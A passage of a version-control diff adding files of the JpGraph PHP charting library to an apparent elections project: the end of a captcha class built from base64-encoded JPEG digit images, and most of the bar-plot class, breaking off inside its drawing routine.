+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGBQf/xAArEAABAwMEAQIFBQAAAAAAAAAB'.
+'AgMEBREhAAYSEzEHIhQkQVGxQmFxgaH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAeEQEAAgEEAwAAAAAAAAAAAAABABECAxIh'.
+'MUGR8P/aAAwDAQACEQMRAD8Ar3tys07dVHohemz5dWQ7fk91MsA3IIRY8rkKFySceTqw3JVV0KhyKw+0C1CQp9aUOFSiAk4AIAvn'.
+'76xtz0ioVvbcJ6msx2JtOfZmw1PKI5LQcJNh7UqBKcn6+NRfqPu6s1fYc6GxSJsRfWDUVSGA22ygEckJWSexRNgOP0udXzDKOJ0I'.
+'yo62mHm25Sy80l1Z4lSgpQvZRGLgWwPGjTjbchyLH+Ejx22EtJSgO8kki3kADA/nOjWjGzv73CyQZjUWNVp7bNSrj7qJDqflqUlQ'.
+'DMds24l3HvcNr3Pi9gME6T9WWVsemdYWswwC2lPta4m5WMA3OdUExCmozUJD6g84ntMjrHIFBTdQz5yLDx/WDNytpwW6nAkViqVe'.
+'uvmXdlme6n4dCwlRBKEgA2tj99QG7Ilncp5QqpU31PMsJ6x7A32f6SPxo0hPVCD45oVyKf0MtgeT97/nRrO7UOCFla3tn//Z' ; 
+
+//==========================================================
+// d3-small.jpg
+//==========================================================
+$this->chars['3'][0]= 662 ;
+$this->chars['3'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABAUGBwL/xAArEAABBAED'.
+'AwMDBQEAAAAAAAABAgMEBREABhIhMUEiMmETFZEHFkJDUdH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAL/xAAYEQEBAQEBAAAAAAAA'.
+'AAAAAAAAEQExQf/aAAwDAQACEQMRAD8A0vclruBdk3VVLLUNssGRJsZSCtqOjlgJAHvcOD6c4HnOdIbcttw1W5P29cFEhuawqTXS'.
+'VsJjnCMBxKkJJx7goAde+ceJfdNxU0UNlyymyXHi6kxWUNl1S3EnkAEIHX2nv86qtTuZr9Q9+1VhRsOoYpYcgSVyAE/TdewkJxnK'.
+'sBCjkdPGpnOtFMd3PqsXgfOAgD8Y0aX+11H9rDDjn8lr9yj5J+dGqsqxaw6Cc9cQZU4Sp7zTJsIrKlcUEKwhSin1JABI45GUjqOu'.
+'lbOvjbc3Ts9ynjGCy445UuFLYRzbWgrT6fhSCQSMDke+pew2zYVly/d7YchNqkMJZnQpgV9J8IzwWFJyUrAJHYgjvpLbu37G5nR7'.
+'vck5C3YRKYEOEVJZj8kjKypXqWvirjk9h+dB9i4faa89TDZUfKlIyT8k+To10a6KTkpcJ/0vL/7o0TS//9k=' ; 
+
+//==========================================================
+// ln-small.jpg
+//==========================================================
+$this->chars['n'][0]= 643 ;
+$this->chars['n'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGwAAAgEFAAAAAAAAAAAAAAAAAAYCAQMEBQf/xAAtEAACAQMCBAUCBwAAAAAA'.
+'AAABAgMEBREAIQYSE0EHIjFRcWGRIzIzQoGCwf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEAP/EABkRAQEBAQEBAAAAAAAAAAAAAAEA'.
+'AhEhUf/aAAwDAQACEQMRAD8A6FR3p7v4oV9rlkMQsjL00RyOss0KkFxnDcrc2PbI1NOJKyTjW+W5OmKeA0UEJx5meRZS2/8AUfbS'.
+'LVGS1+K16vCzfiR3GmoqqXGyxz06hWPsFlVMfOmq1iNvE69KjBYo3oJMZ3GKeYYPxg/fW+xzZX1FLQyxwSTcpWNceu4G3+aNSmpY'.
+'qmQzzwh2k8yhv2r2H23/AJ0aoy+EWh7I1ntacR3PxDtEzhjWy0wkkIwYmanU5GO6sNh7rrU8AVdTceNbhDXxNHUQvS0tZ3DzwxVA'.
+'fB7hj59/XJ08cPWaKj4gvlwSQiG7dCboqvLy9NOmQT9SM7ayJrBa6K5V91hjlWorp4JGUOAglRSiMMDb82/vgaBGTpVvtNUVtyJg'.
+'5+WNAh5ZCu/r2+dGrgq0pi0DhmlRsSSAfqMd+b6ZyNu3po1Rk1yNBe3/2Q==' ; 
+
+//==========================================================
+// lu-small.jpg
+//==========================================================
+$this->chars['u'][0]= 671 ;
+$this->chars['u'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAJRAAAQQBAwQDAQEAAAAAAAAA'.
+'AQIDBBEFAAYhBxMxYRJBURSB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQAD/8QAGhEBAQEAAwEAAAAAAAAAAAAAAQARITFBAv/aAAwD'.
+'AQACEQMRAD8A6dLkQmJzu3WVtHIqjf0duKFNuBr5UTQ45F1R8/XI1PMmsYoJyjhS9iI7BKHeKjkXZVXqhyLHP+rrHeR1pZlx1W1M'.
+'wTiW0ukkrS28nn5fV2SPPFfurHUKQhzYG7pLYKEfyBhaSOS7dG/YCki/uvWn3LPDOJrwa4kyEzOYeakqkpC3Hk0bNePQHgDRpchY'.
+'leIZwzUWauKtuPctTSUlCAUmrBHIKuAPV/ujQsmHdm7hya43UbbD3ZVElOQJsdTS6IQaQUqBHCk8E2Pocgam6oYwObHy0Zm0oi45'.
+'T1KBPdpV2f0pom/1Ws7cmPazu98Ltvcq3VzRHfehz8a4pirFEKRZo8eQT+eCdWYfS/b+WYnxpbuVcDRMdHcyTqg2fiAfiLoi+Rf+'.
+'jT7Xc74HtOYnHyUOh8yWUvKeHhy0CiPVUAPoDRrm+OeznTva6lzsyMjCYbbaiNJjJSWElagD5tRpNUSALFeNGoOCH7Bv/9k=' ; 
+
+//==========================================================
+// lw-small.jpg
+//==========================================================
+$this->chars['w'][0]= 673 ;
+$this->chars['w'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBAX/xAAtEAACAQMDAgMHBQAAAAAAAAAB'.
+'AgMEBREABhIhMRMUQRUiIzJRYZEWNIGx0f/EABYBAQEBAAAAAAAAAAAAAAAAAAABA//EABoRAAICAwAAAAAAAAAAAAAAAAABERIh'.
+'MVH/2gAMAwEAAhEDEQA/AHXbV13ZLu6t2/uaa1JijWopVp4XUTKSAXRyc+6ehBGeoPbTSlwpql0K3GneqpZViqUhI5JzGMEZJGeh'.
+'GlXfaFILDf7FQzXC426rDLTojs8sLqVkXBGcfKf40twWbdWzZY75R0s90ul3jPtKjVMJDNn4DDp8iEhW+wJ1WZG2KWt3Lv26U1tv'.
+'92o7PaYkgYUbqVepYlmUBlIwqnB++O2jTDt/bBtth9jcpvEWNGqalZQryTlmeR8jPct6+mNGmRC4a1U13htzVFItB5nA/cyOUVfp'.
+'7oz/ALqitJulYJKuqvFsppHALLFb3cp9FBaXr+O51bq0q6i38KK5PDVAAxSzU6SIpz3Kjjn8jUFoS7uFmut1gq17xLFQ+DxOccj8'.
+'Rsn+tVpiyJnqv09YfOXu5AycgZZQEhBZjgDBOOgwO/po0sttWHdNzqLruioa4UwmdaC3kYp4IwSvJlBHKQ4OSe3po0qxM6P/2Q==' ;
+
+//==========================================================
+// lq-small.jpg
+//==========================================================
+$this->chars['q'][0]= 671 ;
+$this->chars['q'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAcDBAUG/8QAKRAAAQQBBAICAQQDAAAAAAAA'.
+'AQIDBBEFAAYSIQcxIlETCBQVgSNBYf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oADAMB'.
+'AAIRAxEAPwDT3H5Qz+O3LN2vtrF/y86NYLzzVlAABJITQPv2a/17vXMboz3lDEYWPuafNx7CFrS03+2jpK2bs0CUkUa7pRvrUu63'.
+'sr438yv7pLEo4XIK5Kcji0uJUkckm+uQUOVH6GsnyJv7A5vaJwuFdkONLmolgONFH4vioKRXYqyCADXvRMh0yspmZ4jyIEtDTK47'.
+'aiA0lQUopBJBI/7X9aNT7amRo228e3a31iO3yUzCcdSPiKAIFdCho0TIswZ7GQlO/hlRxBooih1YXzAoKUkX0LPEBX110dJ7zbuv'.
+'AORpO04cIpmxH23FSEIRwKuNnsdk0o31702XhFMKbuRUZJWP8LTQ6HBCuIB+iVWSR2BXuqK93/hDlvGzEphmG3Ml5JpDi1I7TzNA'.
+'BYFlPafY+/7LBiv1CYDH4iFDOGySlMR22lFP4wCUpANfL11o1r4bxXlWMNEaE/bqlIbCFl/ANPK5Do/M0VDr2Rf3o0TX/9k=' ;
+
+
+
+    } 
+}
+
+class AntiSpam {
+
+    private $iData='';
+    private $iDD=null;
+
+    function AntiSpam($aData='') {
+	$this->iData = $aData;
+	$this->iDD = new HandDigits();	
+    }
+
+    function Set($aData) {
+	$this->iData = $aData;
+    }
+
+    function Rand($aLen) {
+	$d='';
+	for($i=0; $i < $aLen; ++$i) {
+	    if( rand(0,9) < 6 ) {
+		// Digits
+		$d .= chr( ord('1') + rand(0,8) );
+	    }
+	    else {
+		// Letters
+		do {
+		    $offset = rand(0,25);
+		} while ( $offset==14 );
+		$d .= chr( ord('a') + $offset );
+	    }
+	}
+	$this->iData = $d;
+	return $d;
+    }
+
+    function Stroke() {
+
+	$n=strlen($this->iData);
+	if( $n==0 ) {
+	    return false;
+	}
+
+	for($i=0; $i < $n; ++$i ) {
+	    if( $this->iData[$i]==='0' || strtolower($this->iData[$i])==='o') {
+		return false;
+	    }
+	}
+
+	$img = @imagecreatetruecolor($n*$this->iDD->iWidth, $this->iDD->iHeight);
+	if( $img < 1 ) {
+	    return false;
+	}
+
+	$start=0;
+	for($i=0; $i < $n; ++$i ) {
+	    $dimg = imagecreatefromstring(base64_decode($this->iDD->chars[strtolower($this->iData[$i])][1]));
+	    imagecopy($img,$dimg,$start,0,0,0,imagesx($dimg), $this->iDD->iHeight);
+	    $start += imagesx($dimg);
+	}
+	$resimg = @imagecreatetruecolor($start+4, $this->iDD->iHeight+4);
+	if( $resimg < 1 ) {
+	    return false;
+	}
+
+	imagecopy($resimg,$img,2,2,0,0,$start, $this->iDD->iHeight);
+	header("Content-type: image/jpeg");
+	imagejpeg($resimg);
+	return true;
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_bar.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_bar.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_bar.php	(revision 44)
@@ -0,0 +1,1042 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_BAR.PHP
+// Description:	Bar plot extension for JpGraph
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph_bar.php 1017 2008-07-08 06:09:28Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+require_once('jpgraph_plotband.php');
+
+// Pattern for Bars
+DEFINE('PATTERN_DIAG1',1);
+DEFINE('PATTERN_DIAG2',2);
+DEFINE('PATTERN_DIAG3',3);
+DEFINE('PATTERN_DIAG4',4);
+DEFINE('PATTERN_CROSS1',5);
+DEFINE('PATTERN_CROSS2',6);
+DEFINE('PATTERN_CROSS3',7);
+DEFINE('PATTERN_CROSS4',8);
+DEFINE('PATTERN_STRIPE1',9);
+DEFINE('PATTERN_STRIPE2',10);
+
+//===================================================
+// CLASS BarPlot
+// Description: Main code to produce a bar plot 
+//===================================================
+class BarPlot extends Plot {
+    public $fill=false,$fill_color="lightblue"; // Default is to fill with light blue
+    public $iPattern=-1,$iPatternDensity=80,$iPatternColor='black';
+    public $valuepos='top';
+    public $grad=false,$grad_style=1;
+    public $grad_fromcolor=array(50,50,200),$grad_tocolor=array(255,255,255);
+    public $ymin=0;
+    protected $width=0.4; // in percent of major ticks
+    protected $abswidth=-1; // Width in absolute pixels
+    protected $ybase=0; // Bars start at 0 
+    protected $align="center";
+    protected $bar_shadow=false;
+    protected $bar_shadow_color="black";
+    protected $bar_shadow_hsize=3,$bar_shadow_vsize=3;	
+	
+//---------------
+// CONSTRUCTOR
+    function BarPlot($datay,$datax=false) {
+	$this->Plot($datay,$datax);		
+	++$this->numpoints;
+    }
+
+//---------------
+// PUBLIC METHODS	
+	
+    // Set a drop shadow for the bar (or rather an "up-right" shadow)
+    function SetShadow($color="black",$hsize=3,$vsize=3,$show=true) {
+	$this->bar_shadow=$show;
+	$this->bar_shadow_color=$color;
+	$this->bar_shadow_vsize=$vsize;
+	$this->bar_shadow_hsize=$hsize;
+		
+	// Adjust the value margin to compensate for shadow
+	$this->value->margin += $vsize;
+    }
+		
+    // DEPRECATED use SetYBase instead
+    function SetYMin($aYStartValue) {
+	//die("JpGraph Error: Deprecated function SetYMin. Use SetYBase() instead.");    	
+	$this->ybase=$aYStartValue;
+    }
+
+    // Specify the base value for the bars
+    function SetYBase($aYStartValue) {
+	$this->ybase=$aYStartValue;
+    }
+	
+    function Legend($graph) {
+	if( $this->grad && $this->legend!="" && !$this->fill ) {
+	    $color=array($this->grad_fromcolor,$this->grad_tocolor);
+	    // In order to differentiate between gradients and cooors specified as an RGB triple
+	    $graph->legend->Add($this->legend,$color,"",-$this->grad_style,
+				$this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	}
+	elseif( $this->legend!="" && ($this->iPattern > -1 || is_array($this->iPattern)) ) {
+	    if( is_array($this->iPattern) ) {
+		$p1 = $this->iPattern[0];
+		$p2 = $this->iPatternColor[0];
+		$p3 = $this->iPatternDensity[0];
+	    }
+	    else {
+		$p1 = $this->iPattern;
+		$p2 = $this->iPatternColor;
+		$p3 = $this->iPatternDensity;
+	    }
+	    $color = array($p1,$p2,$p3,$this->fill_color);
+	    // A kludge: Too mark that we add a pattern we use a type value of < 100
+	    $graph->legend->Add($this->legend,$color,"",-101,
+				$this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	}
+	elseif( $this->fill_color && $this->legend!="" ) {
+	    if( is_array($this->fill_color) ) {
+		$graph->legend->Add($this->legend,$this->fill_color[0],"",0,
+				    $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);
+	    }
+	    else {
+		$graph->legend->Add($this->legend,$this->fill_color,"",0,
+				    $this->legendcsimtarget,$this->legendcsimalt,$this->legendcsimwintarget);	
+	    }
+	}
+    }
+
+    // Gets called before any axis are stroked
+    function PreStrokeAdjust($graph) {
+	parent::PreStrokeAdjust($graph);
+
+	// If we are using a log Y-scale we want the base to be at the
+	// minimum Y-value unless the user have specifically set some other
+	// value than the default.
+	if( substr($graph->axtype,-3,3)=="log" && $this->ybase==0 )
+	    $this->ybase = $graph->yaxis->scale->GetMinVal();
+		
+	// For a "text" X-axis scale we will adjust the
+	// display of the bars a little bit.
+	if( substr($graph->axtype,0,3)=="tex" ) {
+	    // Position the ticks between the bars
+	    $graph->xaxis->scale->ticks->SetXLabelOffset(0.5,0);
+
+	    // Center the bars 
+	    if( $this->abswidth > -1 ) {
+		$graph->SetTextScaleAbsCenterOff($this->abswidth);
+	    }
+	    else {
+		if( $this->align == "center" )
+		    $graph->SetTextScaleOff(0.5-$this->width/2);
+		elseif( $this->align == "right" )
+		    $graph->SetTextScaleOff(1-$this->width);			
+	    }
+	}
+	elseif( ($this instanceof AccBarPlot) || ($this instanceof GroupBarPlot) ) { 
+	    // We only set an absolute width for linear and int scale
+	    // for text scale the width will be set to a fraction of
+	    // the majstep width.
+	    if( $this->abswidth == -1 ) {
+                // Not set
+		// set width to a visuable sensible default
+		$this->abswidth = $graph->img->plotwidth/(2*$this->numpoints);
+	    }
+	}
+    }
+
+    function Min() {
+	$m = parent::Min();
+	if( $m[1] >= $this->ybase )
+	    $m[1] = $this->ybase;
+	return $m;	
+    }
+
+    function Max() {
+	$m = parent::Max();
+	if( $m[1] <= $this->ybase )
+	    $m[1] = $this->ybase;
+	return $m;	
+    }	
+	
+    // Specify width as fractions of the major stepo size
+    function SetWidth($aWidth) {
+	if( $aWidth > 1 ) {
+	    // Interpret this as absolute width
+	    $this->abswidth=$aWidth;
+	}
+	else
+	    $this->width=$aWidth;
+    }
+	
+    // Specify width in absolute pixels. If specified this
+    // overrides SetWidth()
+    function SetAbsWidth($aWidth) {
+	$this->abswidth=$aWidth;
+    }
+		
+    function SetAlign($aAlign) {
+	$this->align=$aAlign;
+    }
+	
+    function SetNoFill() {
+	$this->grad = false;
+	$this->fill_color=false;
+	$this->fill=false;
+    }
+		
+    function SetFillColor($aColor) {
+	$this->fill = true ;
+	$this->fill_color=$aColor;
+    }
+	
+    function SetFillGradient($aFromColor,$aToColor=null,$aStyle=null) {
+	$this->grad = true;
+	$this->grad_fromcolor = $aFromColor;
+	$this->grad_tocolor   = $aToColor;
+	$this->grad_style     = $aStyle;
+    }
+	
+    function SetValuePos($aPos) {
+	$this->valuepos = $aPos;
+    }
+
+    function SetPattern($aPattern, $aColor='black'){
+	if( is_array($aPattern) ) {
+	    $n = count($aPattern);
+	    $this->iPattern = array();
+	    $this->iPatternDensity = array();
+	    if( is_array($aColor) ) {
+		$this->iPatternColor = array();
+		if( count($aColor) != $n ) {
+		    JpGraphError::RaiseL(2001);//('NUmber of colors is not the same as the number of patterns in BarPlot::SetPattern()');
+		}
+	    }
+	    else
+		$this->iPatternColor = $aColor;
+	    for( $i=0; $i < $n; ++$i ) {
+		$this->_SetPatternHelper($aPattern[$i], $this->iPattern[$i], $this->iPatternDensity[$i]);
+		if( is_array($aColor) ) {
+		    $this->iPatternColor[$i] = $aColor[$i];
+		}
+	    }
+	}
+	else {
+	    $this->_SetPatternHelper($aPattern, $this->iPattern, $this->iPatternDensity);
+	    $this->iPatternColor = $aColor;
+	}
+    }
+
+    function _SetPatternHelper($aPattern, &$aPatternValue, &$aDensity){
+	switch( $aPattern ) {
+	    case PATTERN_DIAG1:
+		$aPatternValue= 1;
+		$aDensity = 90;
+		break;
+	    case PATTERN_DIAG2:
+		$aPatternValue= 1;
+		$aDensity = 75;
+		break;
+	    case PATTERN_DIAG3:
+		$aPatternValue= 2;
+		$aDensity = 90;
+		break;
+	    case PATTERN_DIAG4:
+		$aPatternValue= 2;
+		$aDensity = 75;
+		break;
+	    case PATTERN_CROSS1:
+		$aPatternValue= 8;
+		$aDensity = 90;
+		break;
+	    case PATTERN_CROSS2:
+		$aPatternValue= 8;
+		$aDensity = 78;
+		break;
+	    case PATTERN_CROSS3:
+		$aPatternValue= 8;
+		$aDensity = 65;
+		break;
+	    case PATTERN_CROSS4:
+		$aPatternValue= 7;
+		$aDensity = 90;
+		break;
+	    case PATTERN_STRIPE1:
+		$aPatternValue= 5;
+		$aDensity = 90;
+		break;
+	    case PATTERN_STRIPE2:
+		$aPatternValue= 5;
+		$aDensity = 75;
+		break;
+	    default:
+		JpGraphError::RaiseL(2002);
+//('Unknown pattern specified in call to BarPlot::SetPattern()');
+	}
+    }
+
+    function Stroke($img,$xscale,$yscale) { 
+		
+	$numpoints = count($this->coords[0]);
+	if( isset($this->coords[1]) ) {
+	    if( count($this->coords[1])!=$numpoints )
+		JpGraphError::RaiseL(2003,count($this->coords[1]),$numpoints);
+//"Number of X and Y points are not equal. Number of X-points:".count($this->coords[1])."Number of Y-points:$numpoints");
+	    else
+		$exist_x = true;
+	}
+	else 
+	    $exist_x = false;
+		
+		
+	$numbars=count($this->coords[0]);
+
+	// Use GetMinVal() instead of scale[0] directly since in the case
+	// of log scale we get a correct value. Log scales will have negative
+	// values for values < 1 while still not representing negative numbers.
+	if( $yscale->GetMinVal() >= 0 ) 
+	    $zp=$yscale->scale_abs[0]; 
+	else {
+	    $zp=$yscale->Translate(0);
+	}
+
+	if( $this->abswidth > -1 ) {
+	    $abswidth=$this->abswidth;
+	}
+	else
+	    $abswidth=round($this->width*$xscale->scale_factor,0);
+
+	// Count pontetial pattern array to avoid doing the count for each iteration
+	if( is_array($this->iPattern) ) {
+	    $np = count($this->iPattern);
+	}
+			
+	$grad = null;
+	for($i=0; $i < $numbars; ++$i) {
+
+ 	    // If value is NULL, or 0 then don't draw a bar at all
+ 	    if ($this->coords[0][$i] === null || $this->coords[0][$i] === '' )
+		continue;    
+
+	    if( $exist_x ) $x=$this->coords[1][$i];
+	    else $x=$i;
+			
+	    $x=$xscale->Translate($x);
+
+// Comment Note: This confuses the positioning when using acc together with 
+// grouped bars. Workaround for fixing #191
+/*
+	    if( !$xscale->textscale ) {
+	    	if($this->align=="center")
+		    $x -= $abswidth/2;
+		elseif($this->align=="right")
+		    $x -= $abswidth;			
+	    }
+*/
+	    // Stroke fill color and fill gradient
+	    $pts=array(
+		$x,$zp,
+		$x,$yscale->Translate($this->coords[0][$i]),
+		$x+$abswidth,$yscale->Translate($this->coords[0][$i]),
+		$x+$abswidth,$zp);
+	    if( $this->grad ) {
+		if( $grad === null ) 
+		    $grad = new Gradient($img);
+		if( is_array($this->grad_fromcolor) ) {
+		    // The first argument (grad_fromcolor) can be either an array or a single color. If it is an array
+		    // then we have two choices. It can either a) be a single color specified as an RGB triple or it can be
+		    // an array to specify both (from, to style) for each individual bar. The way to know the difference is 
+		    // to investgate the first element. If this element is an integer [0,255] then we assume it is an RGB 
+		    // triple.
+		    $ng = count($this->grad_fromcolor);
+		    if( $ng === 3 ) {
+			if( is_numeric($this->grad_fromcolor[0]) && $this->grad_fromcolor[0] > 0 && $this->grad_fromcolor[0] < 256 ) {
+			    // RGB Triple
+			    $fromcolor = $this->grad_fromcolor;
+			    $tocolor = $this->grad_tocolor;
+			    $style = $this->grad_style;
+			}
+		    }
+		    else {
+			$fromcolor = $this->grad_fromcolor[$i % $ng][0];
+			$tocolor = $this->grad_fromcolor[$i % $ng][1];
+			$style = $this->grad_fromcolor[$i % $ng][2];
+		    }
+		    $grad->FilledRectangle($pts[2],$pts[3],
+					   $pts[6],$pts[7],
+					   $fromcolor,$tocolor,$style); 
+		}
+		else {
+		    $grad->FilledRectangle($pts[2],$pts[3],
+					   $pts[6],$pts[7],
+					   $this->grad_fromcolor,$this->grad_tocolor,$this->grad_style); 
+		}
+	    }
+	    elseif( !empty($this->fill_color) ) {
+		if(is_array($this->fill_color)) {
+		    $img->PushColor($this->fill_color[$i % count($this->fill_color)]);
+		} else {
+		    $img->PushColor($this->fill_color);
+		}
+		$img->FilledPolygon($pts);
+		$img->PopColor();
+	    }
+ 
+			
+	    // Remember value of this bar
+	    $val=$this->coords[0][$i];
+
+	    if( !empty($val) && !is_numeric($val) ) {
+		JpGraphError::RaiseL(2004,$i,$val);
+		//'All values for a barplot must be numeric. You have specified value['.$i.'] == \''.$val.'\'');
+	    }
+
+	    // Determine the shadow
+	    if( $this->bar_shadow && $val != 0) {
+
+		$ssh = $this->bar_shadow_hsize;
+		$ssv = $this->bar_shadow_vsize;
+		// Create points to create a "upper-right" shadow
+		if( $val > 0 ) {
+		    $sp[0]=$pts[6];		$sp[1]=$pts[7];
+		    $sp[2]=$pts[4];		$sp[3]=$pts[5];
+		    $sp[4]=$pts[2];		$sp[5]=$pts[3];
+		    $sp[6]=$pts[2]+$ssh;	$sp[7]=$pts[3]-$ssv;
+		    $sp[8]=$pts[4]+$ssh;	$sp[9]=$pts[5]-$ssv;
+		    $sp[10]=$pts[6]+$ssh;	$sp[11]=$pts[7]-$ssv;
+		} 
+		elseif( $val < 0 ) {
+		    $sp[0]=$pts[4];		$sp[1]=$pts[5];
+		    $sp[2]=$pts[6];		$sp[3]=$pts[7];
+		    $sp[4]=$pts[0];		$sp[5]=$pts[1];
+		    $sp[6]=$pts[0]+$ssh;	$sp[7]=$pts[1]-$ssv;
+		    $sp[8]=$pts[6]+$ssh;	$sp[9]=$pts[7]-$ssv;
+		    $sp[10]=$pts[4]+$ssh;	$sp[11]=$pts[5]-$ssv;
+		}
+		if( is_array($this->bar_shadow_color) ) {
+		    $numcolors = count($this->bar_shadow_color);
+		    if( $numcolors == 0 ) {
+			JpGraphError::RaiseL(2005);//('You have specified an empty array for shadow colors in the bar plot.');
+		    }
+		    $img->PushColor($this->bar_shadow_color[$i % $numcolors]);
+		}
+		else {
+		    $img->PushColor($this->bar_shadow_color);
+		}
+		$img->FilledPolygon($sp);
+		$img->PopColor();
+	    }
+			
+	    // Stroke the pattern
+	    if( is_array($this->iPattern) ) {
+		$f = new RectPatternFactory();
+		if( is_array($this->iPatternColor) ) {
+		    $pcolor = $this->iPatternColor[$i % $np];
+		}
+		else
+		    $pcolor = $this->iPatternColor;
+		$prect = $f->Create($this->iPattern[$i % $np],$pcolor,1);
+		$prect->SetDensity($this->iPatternDensity[$i % $np]);
+
+		if( $val < 0 ) {
+		    $rx = $pts[0];
+		    $ry = $pts[1];
+		}
+		else {
+		    $rx = $pts[2];
+		    $ry = $pts[3];
+		}
+		$width = abs($pts[4]-$pts[0])+1;
+		$height = abs($pts[1]-$pts[3])+1;
+		$prect->SetPos(new Rectangle($rx,$ry,$width,$height));
+		$prect->Stroke($img);
+	    }
+	    else {
+		if( $this->iPattern > -1 ) {
+		    $f = new RectPatternFactory();
+		    $prect = $f->Create($this->iPattern,$this->iPatternColor,1);
+		    $prect->SetDensity($this->iPatternDensity);
+		    if( $val < 0 ) {
+			$rx = $pts[0];
+			$ry = $pts[1];
+		    }
+		    else {
+			$rx = $pts[2];
+			$ry = $pts[3];
+		    }
+		    $width = abs($pts[4]-$pts[0])+1;
+		    $height = abs($pts[1]-$pts[3])+1;
+		    $prect->SetPos(new Rectangle($rx,$ry,$width,$height));
+		    $prect->Stroke($img);
+		}
+	    }
+	    // Stroke the outline of the bar
+	    if( is_array($this->color) )
+		$img->SetColor($this->color[$i % count($this->color)]);
+	    else
+		$img->SetColor($this->color);
+
+	    $pts[] = $pts[0];
+	    $pts[] = $pts[1];
+
+	    if( $this->weight > 0 ) {
+		$img->SetLineWeight($this->weight);
+		$img->Polygon($pts);
+	    }
+			
+	    // Determine how to best position the values of the individual bars
+	    $x=$pts[2]+($pts[4]-$pts[2])/2;
+	    $this->value->SetMargin(5);
+
+	    if( $this->valuepos=='top' ) {
+		$y=$pts[3];
+		if( $img->a === 90 ) {
+		    if( $val < 0 )
+			$this->value->SetAlign('right','center');			
+		    else
+			$this->value->SetAlign('left','center');
+			
+		}
+		else {
+		    if( $val < 0 ) { 
+			$this->value->SetMargin(-5);
+			$y=$pts[1];
+			$this->value->SetAlign('center','bottom');
+		    }
+		    else {
+			$this->value->SetAlign('center','bottom');			
+		    }
+
+		}
+		$this->value->Stroke($img,$val,$x,$y);
+	    }
+	    elseif( $this->valuepos=='max' ) {
+		$y=$pts[3];
+		if( $img->a === 90 ) {
+		    if( $val < 0 )
+			$this->value->SetAlign('left','center');
+		    else
+			$this->value->SetAlign('right','center');		    
+		}
+		else {
+		    if( $val < 0 ) {
+			$this->value->SetAlign('center','bottom');
+		    }
+		    else {
+			$this->value->SetAlign('center','top');
+		    }
+		}
+		$this->value->SetMargin(-5);
+		$this->value->Stroke($img,$val,$x,$y);
+	    }
+	    elseif( $this->valuepos=='center' ) {
+		$y = ($pts[3] + $pts[1])/2;
+		$this->value->SetAlign('center','center');
+		$this->value->SetMargin(0);
+		$this->value->Stroke($img,$val,$x,$y);
+	    }
